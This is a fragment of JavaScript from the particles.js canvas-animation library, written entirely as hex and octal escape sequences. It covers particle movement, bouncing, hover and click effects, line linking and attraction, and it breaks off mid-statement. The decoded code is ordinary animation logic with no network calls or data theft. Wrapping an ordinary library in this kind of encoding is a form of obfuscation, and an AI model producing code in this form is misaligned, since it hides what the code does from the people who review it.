0\x20\40\40\x69\x66\x20\x28\160\56\162\141\144\151\x75\163\40\x3e\75\x20\x70\x4a\123\56\x70\141\162\164\x69\143\154\145\163\x2e\163\151\172\145\x2e\166\x61\x6c\165\145\x29\x20\x70\x2e\163\151\172\x65\x5f\x73\164\141\164\165\163\40\75\x20\x21\x31\x3b\12\40\40\x20\40\40\40\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\x70\x2e\162\x61\x64\x69\x75\163\40\53\75\40\160\56\x76\x73\xa\x20\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\x20\x20\175\x20\145\x6c\163\x65\40\173\12\x20\x20\x20\40\40\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\x20\x20\40\151\x66\40\50\160\56\162\141\144\151\x75\163\x20\74\x3d\x20\160\x4a\x53\x2e\160\x61\x72\x74\151\143\154\145\x73\x2e\163\151\172\x65\x2e\x61\x6e\151\x6d\56\x73\x69\172\145\x5f\x6d\x69\x6e\x29\40\x70\x2e\x73\x69\172\145\x5f\x73\164\141\164\165\163\40\75\x20\41\60\x3b\xa\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\40\160\56\162\141\144\151\x75\x73\x20\55\x3d\40\x70\x2e\166\163\12\x20\40\x20\40\40\40\x20\x20\40\40\x20\x20\x20\40\40\40\175\xa\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\x69\x66\x20\x28\x70\x2e\x72\x61\144\151\165\163\x20\x3c\x20\x30\x29\40\160\56\x72\141\144\151\x75\x73\x20\75\x20\x30\12\40\40\40\x20\40\40\40\x20\x20\x20\40\x20\175\12\40\x20\40\x20\40\x20\40\x20\40\40\x20\40\x69\x66\40\50\160\112\123\x2e\x70\141\162\x74\151\143\x6c\x65\x73\x2e\155\x6f\166\x65\x2e\x6f\165\164\137\x6d\157\144\x65\x20\75\75\x20\47\x62\157\165\x6e\x63\x65\x27\51\40\173\xa\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\40\40\166\141\162\40\156\x65\x77\x5f\160\157\163\40\x3d\x20\173\xa\x20\x20\40\x20\40\40\40\x20\40\40\40\40\40\40\x20\40\40\x20\x20\40\x78\x5f\x6c\x65\x66\x74\72\x20\x70\56\x72\141\144\x69\165\x73\54\12\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\40\40\x20\40\40\40\40\170\137\162\151\147\150\x74\72\40\x70\112\x53\56\x63\141\156\166\x61\163\56\167\x2c\xa\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\171\137\164\157\160\72\x20\160\x2e\162\141\x64\151\165\163\x2c\12\40\x20\x20\x20\40\40\40\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\40\x79\x5f\142\x6f\x74\164\x6f\x6d\x3a\x20\160\112\x53\x2e\143\141\156\x76\x61\163\x2e\x68\xa\x20\40\x20\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\x7d\xa\x20\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x7d\40\145\154\163\x65\40\173\12\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\40\166\141\x72\40\x6e\x65\167\137\160\157\x73\x20\75\x20\173\xa\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\40\40\40\40\40\x20\40\x20\170\x5f\154\x65\146\x74\72\x20\55\160\x2e\x72\141\x64\151\165\x73\x2c\12\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\170\137\x72\151\x67\x68\x74\x3a\x20\x70\112\x53\56\143\141\x6e\x76\x61\163\56\167\40\x2b\x20\160\56\162\x61\x64\151\165\163\x2c\12\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\40\40\40\x79\x5f\x74\x6f\160\72\40\55\x70\x2e\x72\141\x64\x69\x75\163\x2c\12\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\171\x5f\142\x6f\x74\164\x6f\x6d\x3a\40\160\x4a\x53\56\143\x61\x6e\166\141\x73\56\150\x20\53\40\x70\x2e\162\x61\x64\x69\165\x73\12\40\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\175\12\x20\x20\40\40\x20\40\40\40\40\40\x20\x20\175\xa\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\x69\146\40\50\160\56\170\40\55\x20\x70\56\162\141\144\151\165\x73\40\x3e\40\160\x4a\123\56\143\x61\x6e\166\141\x73\56\167\51\40\173\xa\x20\x20\x20\40\40\40\40\40\x20\40\x20\40\x20\x20\40\40\x70\56\x78\x20\75\x20\x6e\145\x77\x5f\160\x6f\163\56\x78\x5f\154\145\x66\x74\x3b\12\40\40\40\x20\40\40\40\x20\x20\40\40\x20\x20\40\40\40\x70\56\171\x20\75\40\115\141\x74\150\x2e\162\x61\x6e\x64\157\x6d\50\51\40\x2a\40\x70\x4a\x53\56\x63\x61\x6e\x76\141\x73\x2e\x68\12\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\175\40\145\x6c\x73\x65\40\151\x66\x20\x28\x70\56\170\x20\x2b\40\x70\56\x72\x61\144\151\x75\163\x20\x3c\x20\x30\51\x20\x7b\12\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\x20\40\40\x20\160\x2e\170\x20\75\x20\x6e\145\167\x5f\160\x6f\163\x2e\x78\x5f\x72\x69\147\x68\x74\x3b\xa\40\40\40\40\40\40\x20\40\40\40\x20\40\40\40\x20\40\x70\56\171\40\75\40\115\141\164\x68\x2e\x72\x61\x6e\x64\157\x6d\x28\51\x20\x2a\x20\x70\x4a\123\56\x63\x61\156\x76\x61\x73\56\150\12\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\175\xa\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\x69\146\40\50\x70\56\171\x20\55\x20\x70\x2e\162\x61\x64\x69\165\x73\40\x3e\40\160\112\123\x2e\x63\141\156\166\141\x73\x2e\x68\x29\40\173\xa\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\x20\160\56\x79\x20\x3d\40\x6e\x65\167\137\160\x6f\163\x2e\x79\137\x74\x6f\x70\73\12\40\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\160\x2e\170\x20\x3d\x20\115\141\x74\x68\56\162\141\x6e\x64\157\155\x28\x29\x20\52\x20\160\112\123\x2e\143\x61\156\x76\141\163\x2e\167\xa\40\40\40\x20\40\x20\40\x20\x20\40\40\40\175\40\x65\154\x73\x65\x20\151\x66\x20\x28\160\x2e\x79\x20\53\x20\160\56\162\x61\x64\151\165\x73\40\x3c\40\x30\x29\x20\x7b\xa\40\40\40\x20\x20\40\40\40\40\40\40\40\x20\40\x20\40\x70\56\171\x20\x3d\40\x6e\145\x77\x5f\160\157\x73\x2e\x79\x5f\142\x6f\164\x74\x6f\x6d\73\12\x20\40\40\40\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x70\56\x78\x20\75\x20\115\x61\164\150\56\162\x61\156\x64\x6f\155\x28\x29\40\x2a\40\160\112\x53\x2e\143\141\156\166\x61\x73\56\167\12\x20\x20\40\x20\x20\40\40\40\x20\x20\40\x20\x7d\12\40\x20\40\x20\x20\40\x20\x20\x20\40\40\40\x73\x77\x69\x74\143\150\40\50\160\112\123\x2e\160\x61\162\164\151\143\154\x65\x73\56\x6d\x6f\166\x65\56\157\165\x74\x5f\x6d\157\x64\145\51\40\173\12\x20\40\x20\40\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\x63\141\163\145\40\47\x62\157\165\x6e\x63\x65\x27\72\12\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\151\146\x20\50\x70\x2e\170\40\x2b\40\x70\56\162\141\144\151\x75\163\x20\76\40\160\x4a\x53\x2e\143\141\156\166\x61\163\56\x77\x29\40\x70\56\166\x78\x20\75\40\x2d\x70\56\x76\170\73\xa\40\40\40\x20\x20\x20\40\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\x65\x6c\163\x65\x20\151\146\x20\x28\x70\x2e\x78\40\55\40\x70\x2e\x72\x61\144\x69\x75\163\x20\74\40\x30\51\40\x70\x2e\166\x78\x20\x3d\40\x2d\x70\x2e\166\x78\x3b\xa\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x69\x66\x20\50\160\x2e\171\40\x2b\40\x70\56\162\x61\144\x69\165\163\x20\76\40\160\x4a\x53\56\x63\x61\156\x76\141\x73\x2e\x68\x29\x20\160\56\x76\x79\x20\75\x20\55\160\x2e\x76\171\x3b\12\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x20\145\154\x73\x65\x20\x69\x66\x20\x28\x70\x2e\171\x20\55\40\x70\x2e\x72\141\x64\x69\165\x73\x20\74\40\x30\x29\x20\x70\x2e\x76\171\x20\x3d\x20\x2d\x70\x2e\166\x79\x3b\12\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x62\x72\145\141\x6b\xa\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x7d\xa\40\40\x20\x20\40\x20\x20\40\40\40\x20\40\151\146\x20\50\151\163\x49\x6e\101\162\162\x61\171\50\47\147\162\141\142\x27\54\x20\160\x4a\123\x2e\x69\156\164\x65\x72\x61\x63\164\151\166\x69\x74\x79\56\145\166\145\x6e\164\x73\x2e\x6f\x6e\x68\157\x76\145\x72\x2e\155\157\x64\145\x29\x29\x20\173\12\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\160\112\x53\x2e\x66\156\x2e\x6d\157\144\x65\x73\x2e\x67\x72\x61\142\x50\141\x72\164\151\x63\x6c\145\x28\x70\51\xa\40\40\40\x20\40\x20\x20\x20\x20\40\40\40\x7d\12\40\40\x20\x20\40\x20\40\40\40\40\40\x20\151\146\40\50\151\163\111\156\101\162\162\141\x79\50\x27\x62\165\x62\x62\154\x65\47\x2c\40\x70\112\x53\x2e\x69\x6e\164\145\x72\141\x63\x74\x69\x76\x69\164\171\x2e\145\166\145\x6e\x74\x73\x2e\157\x6e\150\157\166\x65\162\x2e\x6d\x6f\144\x65\x29\x20\x7c\174\40\x69\163\x49\156\101\162\162\x61\171\50\47\142\x75\x62\142\154\145\x27\x2c\40\160\112\123\56\151\x6e\x74\x65\162\x61\x63\x74\x69\x76\151\x74\171\56\145\166\x65\156\164\x73\x2e\157\x6e\143\x6c\151\x63\x6b\x2e\155\157\144\145\51\51\x20\x7b\xa\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\x70\112\123\56\146\x6e\x2e\155\x6f\144\145\163\56\142\165\142\142\x6c\145\x50\x61\162\164\151\x63\154\145\50\x70\x29\12\40\40\x20\40\x20\40\x20\40\x20\x20\40\40\175\xa\40\40\40\x20\40\x20\40\x20\x20\x20\40\40\151\146\x20\50\151\163\x49\156\x41\x72\162\x61\171\x28\47\x72\145\x70\x75\154\163\145\47\54\x20\x70\112\123\x2e\151\156\164\x65\162\x61\143\164\151\166\151\x74\171\56\x65\166\145\156\x74\x73\56\157\156\x68\x6f\166\x65\x72\56\155\x6f\x64\145\x29\x20\174\x7c\40\151\x73\x49\x6e\x41\x72\x72\x61\x79\x28\47\x72\145\x70\165\x6c\x73\145\47\54\40\160\112\x53\x2e\x69\156\x74\145\x72\x61\143\164\151\x76\x69\x74\x79\56\145\x76\x65\156\x74\x73\56\x6f\x6e\143\x6c\x69\x63\153\x2e\155\x6f\x64\145\51\51\40\173\12\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x70\x4a\123\56\146\x6e\56\155\x6f\x64\x65\163\56\162\x65\x70\165\154\x73\x65\x50\141\x72\x74\x69\x63\x6c\x65\50\x70\51\12\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\175\xa\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\x69\x66\40\x28\x70\x4a\123\56\x70\141\162\x74\151\143\x6c\145\x73\x2e\x6c\x69\x6e\x65\137\x6c\151\x6e\x6b\x65\x64\56\145\x6e\x61\142\154\145\x20\x7c\x7c\x20\x70\112\x53\x2e\x70\141\x72\164\x69\x63\154\145\163\x2e\x6d\157\x76\145\x2e\x61\x74\x74\x72\141\143\164\x2e\145\156\x61\x62\154\x65\51\x20\173\xa\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\146\x6f\x72\x20\50\x76\x61\162\x20\152\x20\x3d\x20\x69\40\x2b\x20\x31\x3b\x20\x6a\40\74\x20\160\x4a\123\x2e\160\141\x72\x74\151\x63\x6c\x65\163\x2e\x61\162\162\x61\171\x2e\x6c\145\x6e\147\x74\150\x3b\40\x6a\x2b\53\x29\x20\173\12\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x76\141\162\x20\x70\x32\40\x3d\40\160\x4a\123\56\x70\x61\162\164\151\143\x6c\145\163\x2e\x61\x72\x72\141\x79\133\152\x5d\73\12\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x20\151\146\40\x28\x70\x4a\123\x2e\x70\141\162\x74\151\x63\154\x65\163\56\x6c\x69\156\x65\137\154\x69\156\x6b\x65\144\x2e\145\156\x61\142\x6c\x65\51\40\x7b\xa\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\40\40\40\x20\40\x20\40\160\112\x53\x2e\x66\156\56\x69\x6e\164\145\x72\x61\143\164\56\x6c\151\156\x6b\120\x61\x72\x74\151\x63\x6c\x65\x73\50\160\x2c\40\x70\62\x29\12\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\x7d\12\x20\40\40\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\40\40\40\40\x69\x66\40\x28\x70\112\x53\x2e\x70\141\162\x74\151\x63\154\145\163\56\155\157\166\145\56\x61\x74\164\x72\141\x63\x74\56\x65\156\x61\x62\x6c\145\51\x20\173\xa\40\40\40\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\40\40\40\160\112\123\56\146\x6e\x2e\x69\156\x74\x65\162\141\143\164\56\141\x74\x74\162\141\x63\164\x50\141\162\164\x69\x63\x6c\x65\163\50\x70\54\40\160\x32\51\xa\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\175\xa\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\151\x66\40\x28\160\112\x53\x2e\x70\x61\162\164\x69\143\154\x65\163\x2e\x6d\x6f\x76\x65\x2e\x62\x6f\x75\x6e\143\x65\51\40\173\12\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\40\x70\x4a\x53\x2e\146\156\x2e\x69\x6e\164\145\x72\x61\x63\164\x2e\x62\x6f\x75\x6e\143\145\x50\x61\162\x74\151\143\154\x65\163\50\x70\x2c\40\x70\62\51\xa\x20\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x7d\12\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\x7d\xa\x20\x20\40\40\40\x20\40\x20\x20\x20\40\40\x7d\12\40\x20\x20\x20\x20\x20\x20\40\x7d\12\x20\40\40\x20\x7d\x3b\12\40\x20\x20\x20\160\112\123\56\146\156\x2e\160\x61\x72\x74\x69\143\x6c\145\x73\x44\x72\141\x77\x20\x3d\40\146\x75\x6e\143\164\x69\x6f\x6e\x28\51\x20\x7b\12\x20\x20\x20\40\40\40\x20\40\x70\112\x53\56\x63\141\x6e\166\141\163\x2e\x63\x74\170\56\143\154\x65\141\162\122\x65\143\164\x28\60\x2c\40\60\54\x20\160\112\123\x2e\143\141\x6e\166\x61\163\56\x77\54\40\x70\x4a\123\56\143\x61\x6e\x76\x61\x73\56\x68\51\73\12\40\40\x20\x20\x20\40\x20\40\160\112\123\x2e\146\156\56\160\x61\162\164\x69\143\154\x65\163\125\160\144\141\x74\145\50\51\73\xa\x20\40\40\x20\40\40\40\x20\146\157\162\40\50\x76\141\162\x20\151\x20\x3d\40\x30\73\40\x69\40\74\40\160\112\x53\56\x70\141\162\x74\x69\x63\x6c\x65\x73\56\x61\x72\x72\141\x79\56\x6c\145\x6e\147\164\x68\x3b\40\151\53\53\x29\40\173\12\x20\40\40\40\40\x20\x20\40\40\x20\40\40\x76\141\162\40\x70\x20\x3d\x20\160\112\123\56\x70\x61\x72\164\x69\x63\x6c\x65\163\x2e\x61\x72\x72\x61\x79\x5b\x69\135\x3b\12\x20\40\40\x20\40\40\40\40\40\40\40\40\160\x2e\x64\162\x61\x77\50\51\12\40\x20\x20\40\x20\40\40\x20\175\xa\40\x20\40\40\175\73\xa\x20\x20\x20\x20\x70\112\x53\56\146\x6e\56\160\x61\x72\x74\x69\143\x6c\145\x73\x45\x6d\160\x74\171\x20\75\40\146\x75\x6e\143\x74\151\x6f\156\x28\51\x20\173\xa\40\40\x20\x20\40\40\x20\40\x70\x4a\123\x2e\160\x61\x72\x74\x69\143\154\x65\x73\x2e\141\162\x72\x61\x79\40\x3d\x20\133\x5d\xa\40\40\x20\x20\175\73\12\x20\x20\x20\x20\160\x4a\123\x2e\x66\x6e\x2e\x70\x61\x72\x74\151\143\x6c\145\163\x52\145\146\162\x65\163\x68\x20\x3d\40\x66\165\156\143\x74\x69\x6f\156\x28\x29\40\173\12\40\40\x20\40\x20\x20\40\x20\143\141\x6e\143\x65\154\x52\x65\x71\165\145\x73\164\x41\x6e\151\155\x46\x72\x61\155\145\x28\160\112\123\56\146\x6e\x2e\143\x68\x65\143\x6b\x41\x6e\151\155\106\162\x61\155\145\x29\73\xa\40\40\x20\x20\x20\x20\40\40\143\141\156\x63\145\154\x52\x65\x71\x75\145\x73\164\x41\x6e\x69\155\x46\x72\x61\155\145\x28\160\112\x53\x2e\x66\x6e\x2e\x64\162\141\x77\x41\x6e\x69\x6d\106\162\x61\155\x65\x29\x3b\12\x20\40\40\40\x20\x20\x20\x20\160\x4a\123\x2e\164\x6d\160\56\163\x6f\x75\162\x63\145\137\163\x76\147\40\x3d\40\165\156\144\x65\146\x69\x6e\x65\144\x3b\xa\x20\40\40\40\40\40\40\x20\160\112\x53\x2e\x74\x6d\160\56\151\155\147\x5f\x6f\142\152\40\x3d\40\165\x6e\x64\145\146\151\156\145\144\x3b\xa\x20\x20\40\40\x20\x20\40\40\160\112\123\56\164\155\x70\x2e\143\x6f\165\x6e\164\137\163\166\147\x20\75\x20\x30\x3b\12\x20\40\x20\x20\x20\x20\40\40\x70\x4a\123\56\x66\x6e\x2e\x70\141\162\x74\151\143\x6c\x65\x73\x45\155\160\x74\x79\50\x29\73\12\40\40\40\x20\x20\x20\x20\40\160\112\123\56\x66\156\56\x63\x61\156\x76\141\163\103\154\145\141\x72\x28\x29\73\xa\40\x20\x20\40\40\40\40\x20\x70\112\x53\56\146\156\56\x76\145\156\x64\157\162\163\56\163\164\x61\162\164\50\51\12\x20\40\40\40\x7d\x3b\12\x20\40\x20\x20\x70\x4a\x53\56\146\156\56\x69\156\x74\145\x72\x61\x63\164\x2e\x6c\x69\156\153\120\x61\162\x74\x69\x63\x6c\x65\163\x20\75\40\x66\x75\156\x63\x74\151\157\x6e\50\160\61\x2c\x20\160\62\51\x20\x7b\xa\x20\40\x20\x20\x20\x20\40\x20\x76\x61\x72\40\144\170\x20\75\x20\160\x31\56\x78\x20\55\40\160\x32\56\x78\x2c\xa\40\x20\40\40\x20\40\x20\40\40\40\40\x20\144\171\x20\75\40\x70\61\56\x79\40\55\40\160\x32\x2e\x79\x2c\xa\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\144\151\x73\164\x20\75\x20\x4d\141\x74\x68\x2e\x73\x71\162\164\x28\144\170\x20\x2a\40\x64\170\40\53\x20\144\x79\x20\x2a\40\x64\171\x29\73\12\40\40\x20\40\x20\x20\40\40\151\x66\x20\50\x64\x69\x73\x74\x20\x3c\x3d\x20\160\112\x53\56\160\141\x72\164\x69\143\154\145\x73\56\154\x69\x6e\145\x5f\154\x69\156\x6b\145\x64\x2e\144\151\x73\164\141\156\x63\145\51\40\x7b\12\40\40\x20\40\x20\x20\40\x20\40\40\40\40\x76\141\162\x20\157\160\141\143\x69\164\x79\137\154\151\156\145\40\x3d\40\x70\x4a\x53\x2e\x70\x61\x72\164\x69\x63\154\x65\x73\56\154\x69\156\x65\x5f\x6c\x69\x6e\x6b\x65\144\x2e\x6f\160\x61\143\x69\164\171\x20\55\x20\x28\144\x69\x73\x74\40\57\x20\50\x31\x20\x2f\40\160\112\x53\x2e\160\x61\162\164\151\x63\154\x65\163\x2e\154\x69\156\x65\137\154\151\156\x6b\145\144\x2e\157\x70\x61\x63\x69\164\171\x29\x29\40\x2f\x20\160\x4a\x53\56\x70\141\162\164\151\x63\154\x65\163\x2e\x6c\x69\x6e\x65\137\x6c\151\156\153\x65\144\x2e\144\151\x73\x74\141\156\143\145\x3b\12\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x69\x66\40\50\157\160\x61\143\x69\164\171\x5f\154\x69\x6e\x65\40\x3e\x20\x30\x29\x20\x7b\12\40\40\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20\40\x76\x61\162\40\x63\x6f\154\157\162\137\x6c\x69\156\145\x20\75\x20\160\112\x53\56\x70\x61\162\164\x69\x63\154\x65\163\56\x6c\151\x6e\145\x5f\154\x69\156\153\145\144\x2e\x63\x6f\x6c\x6f\x72\137\x72\x67\x62\x5f\154\x69\156\x65\73\xa\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\40\x70\112\123\56\x63\141\x6e\x76\x61\163\x2e\143\x74\x78\x2e\x73\x74\162\x6f\x6b\x65\123\x74\171\x6c\x65\40\x3d\x20\47\x72\147\142\141\50\x27\40\53\40\143\157\154\157\162\x5f\x6c\151\x6e\145\56\x72\40\53\x20\47\54\47\40\x2b\x20\143\x6f\154\157\162\x5f\x6c\151\x6e\x65\56\x67\40\53\x20\47\54\x27\x20\53\x20\x63\x6f\x6c\157\162\137\154\151\x6e\x65\56\x62\40\x2b\40\x27\54\47\40\x2b\40\x6f\160\141\143\151\x74\171\x5f\x6c\151\156\145\40\x2b\x20\x27\x29\47\73\xa\x20\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\40\x20\x20\160\112\123\x2e\x63\x61\x6e\166\141\163\56\143\164\x78\x2e\x6c\x69\x6e\x65\127\x69\144\164\x68\40\x3d\40\160\x4a\x53\x2e\x70\x61\x72\164\x69\x63\x6c\145\163\56\x6c\x69\x6e\x65\137\x6c\151\x6e\153\x65\x64\x2e\167\151\144\164\x68\73\xa\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\40\x70\x4a\123\x2e\x63\x61\156\x76\141\163\x2e\x63\x74\x78\56\142\x65\147\x69\156\120\141\164\x68\x28\51\x3b\xa\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x20\40\40\x20\160\x4a\123\x2e\143\141\156\166\x61\x73\56\143\x74\170\56\x6d\157\x76\x65\124\x6f\50\x70\61\56\170\x2c\40\160\x31\x2e\x79\51\73\12\40\x20\40\40\x20\40\40\x20\x20\40\40\x20\40\x20\x20\40\160\112\x53\x2e\143\141\x6e\x76\141\163\56\x63\164\x78\56\154\151\156\x65\124\157\50\160\62\56\x78\x2c\40\x70\x32\x2e\171\x29\73\xa\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x70\x4a\123\56\143\x61\156\x76\141\163\56\143\x74\170\56\163\x74\162\157\153\145\50\x29\73\12\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x20\40\160\x4a\x53\56\143\141\156\x76\x61\163\56\x63\x74\170\x2e\x63\x6c\157\x73\x65\x50\141\x74\x68\x28\51\12\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\175\12\x20\40\40\x20\x20\40\x20\x20\x7d\12\x20\x20\x20\x20\x7d\x3b\12\x20\40\x20\x20\x70\112\123\56\146\x6e\56\151\x6e\x74\x65\162\x61\x63\164\x2e\141\164\164\x72\x61\x63\x74\x50\x61\162\x74\151\143\x6c\x65\x73\40\75\x20\x66\165\x6e\x63\164\x69\x6f\156\50\160\x31\54\x20\x70\x32\x29\40\173\12\x20\x20\40\x20\40\40\40\40\x76\141\162\40\x64\170\40\75\40\x70\x31\56\x78\40\55\x20\x70\x32\56\170\x2c\xa\40\40\40\40\40\x20\40\40\x20\x20\40\x20\144\x79\x20\75\x20\160\x31\x2e\x79\x20\x2d\40\x70\62\56\x79\54\12\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\x64\x69\163\x74\x20\x3d\x20\x4d\x61\x74\150\56\x73\161\162\x74\50\144\170\40\52\40\x64\170\x20\x2b\40\x64\171\x20\x2a\40\144\x79\51\73\xa\x20\40\40\x20\x20\40\40\40\151\146\40\50\144\151\163\164\x20\74\75\x20\160\x4a\123\56\160\141\162\x74\151\x63\154\x65\x73\56\x6c\x69\x6e\x65\x5f\x6c\151\x6e\x6b\x65\144\56\144\151\x73\164\x61\156\x63\x65\51\40\x7b\xa\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x76\141\162\x20\141\x78\x20\x3d\x20\144\170\x20\x2f\x20\x28\160\x4a\x53\x2e\x70\141\x72\164\x69\143\x6c\145\163\56\x6d\x6f\166\145\x2e\141\x74\164\x72\141\x63\x74\x2e\162\157\164\x61\x74\145\130\40\52\40\61\60\60\60\x29\x2c\xa\40\40\40\x20\x20\40\40\x20\40\40\40\x20\x20\x20\40\x20\141\x79\x20\75\x20\x64\171\40\x2f\40\50\x70\112\123\x2e\160\x61\162\164\151\143\154\145\163\56\x6d\157\x76\x65\56\x61\164\164\x72\x61\143\164\x2e\162\x6f\164\x61\x74\x65\131\x20\x2a\x20\61\60\x30\x30\x29\73\xa\x20\40\40\40\x20\x20\40\x20\x20\x20\40\40\160\61\x2e\x76\170\40\x2d\75\x20\141\170\73\xa\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x70\x31\56\166\171\x20\x2d\75\x20\x61\171\73\12\40\x20\40\x20\40\x20\40\40\40\x20\40\x20\x70\62\x2e\x76\x78\40\53\x3d\40\x61\170\73\12\40\40\40\x20\40\40\40\40\x20\x20\x20\x20\160\62\56\166\x79\x20\53\x3d\40\x61\x79\12\40\40\40\40\40\x20\40\x20\x7d\12\40\40\40\40\175\12\x20\x20\x20\40\160\x4a\123\x2e\146\156\56\151\x6e\x74\145\x72\x61\143\164\56\x62\157\x75\156\143\x65\x50\141\162\x74\x69\143\x6c\145\x73\x20\x3d\40\146\x75\x6e\x63\x74\151\157\x6e\x28\x70\61\x2c\x20\160\62\x29\x20\x7b\12\x20\x20\x20\40\x20\40\x20\40\x76\141\162\40\144\x78\40\x3d\x20\x70\61\x2e\x78\40\55\40\160\62\x2e\x78\x2c\12\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\144\171\x20\75\40\160\x31\56\x79\40\55\40\x70\x32\x2e\x79\54\12\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\144\151\163\x74\x20\x3d\x20\115\141\164\150\x2e\x73\x71\x72\164\50\144\x78\x20\52\x20\x64\x78\x20\53\40\x64\x79\40\52\x20\x64\x79\51\54\12\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\144\151\163\164\137\160\40\75\x20\160\x31\x2e\162\141\144\x69\165\163\40\x2b\40\160\62\56\162\141\144\x69\x75\x73\x3b\xa\40\x20\40\40\40\40\40\x20\151\146\40\x28\x64\151\163\x74\40\74\x3d\x20\x64\x69\x73\x74\x5f\160\x29\x20\173\xa\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x70\x31\56\x76\170\40\x3d\x20\x2d\x70\61\x2e\x76\170\73\12\40\40\40\x20\x20\x20\40\40\x20\40\40\40\160\x31\x2e\166\171\40\x3d\x20\x2d\x70\61\x2e\x76\x79\x3b\xa\40\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\160\62\56\x76\170\x20\75\40\x2d\x70\62\56\x76\170\x3b\xa\40\40\x20\40\40\40\x20\40\40\x20\40\40\160\62\56\166\x79\x20\75\x20\55\x70\x32\56\166\171\xa\40\40\40\40\x20\x20\x20\x20\x7d\xa\40\x20\40\40\x7d\12\40\40\x20\40\160\112\123\x2e\x66\156\56\x6d\x6f\x64\145\x73\x2e\x70\x75\x73\x68\x50\141\x72\x74\x69\143\x6c\145\x73\x20\75\x20\x66\x75\156\x63\164\x69\157\156\50\156\x62\54\40\160\157\163\51\x20\173\xa\40\40\x20\40\x20\40\40\40\160\112\123\x2e\x74\x6d\x70\x2e\160\165\163\x68\x69\156\147\40\75\x20\x21\60\73\xa\x20\x20\40\x20\40\x20\x20\x20\x66\x6f\x72\40\50\x76\x61\x72\x20\151\40\75\40\x30\x3b\x20\x69\x20\x3c\40\156\x62\x3b\x20\151\53\53\x29\40\x7b\12\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\160\x4a\x53\x2e\x70\x61\162\164\151\x63\x6c\145\163\56\x61\x72\x72\141\171\56\x70\x75\163\x68\x28\156\145\x77\x20\x70\11